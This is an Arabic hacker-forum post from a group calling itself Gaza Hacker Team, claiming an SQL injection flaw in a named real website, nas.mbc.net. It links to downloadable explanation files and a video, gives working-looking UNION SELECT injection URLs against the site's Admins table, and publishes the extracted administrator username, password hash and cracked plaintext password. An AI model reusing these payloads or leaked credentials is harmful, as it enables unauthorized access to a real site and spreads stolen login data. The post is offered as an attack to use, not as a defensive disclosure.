كشف ثغرة sql في موقع mbc.net شرح الثغره وطريقة التخطي

Download :
http://www.gaza2d.com/mbc/mbc%20sql%20injection.zip
او من رفع اسود القراصنة :
http://www.mirrorcreator.com/files/W...tion.zip_links
او
Multiupload.com - upload your files to multiple file hosting sites!

باسوورد فك الضغط :
الموضوع الأصلى من هنا: منتديات القرصان http://www.alkrsan.net/thnoaee-caaaecthu-ae-caoinynce/64753-aaaea-ana-thncoaee-uoa-essoy-eune-sql-yi-aaethu-mbc-net-oni-caeuna-aeonithe-caeioi.html
Www.Gaza-Hacker.Net


video :
http://www.arabiatube.com/video/9280...الادمن-واللوحه










الثغرة ###################www.gaza-hacker.net##################
# Exploit Title: Gap in the site mbc.net Script nas Infected sql injection
# Vendor or Software Link: mbc.net
# Author : Gaza Hacker Team
# Site : www.gaza-hacker.net
# Team names : Mr.Lr0n & Claw & Casper


# Exploit Demo:

# http://nas.mbc.net/groupPhotos.php?groupId=20481+and+1=0+union+select+password+from+Admins--

# password : c23660e2a247303bc95a8608354a0bf4 is za82a9este

# http://nas.mbc.net/groupPhotos.php?groupId=20481+and+1=0+union+select+name+from+Admins--

# name : admin

# Clarify :
Found the gap in the injection site of MBC Script people infected injection be in SourceForge page

---------------------------------------------------
<script language="javascript">
document.getElementById

('logo_header_span').innerHTML = '<a

href="'+'http://nas.mbc.net/tajmanasHome.php?

fileID=c23660e2a247303bc95a8608354a0bf4'+'"><div

class="naslogo"></div></a>';



</script>
---------------------------------------------------

####################Gaza Hacker Team####################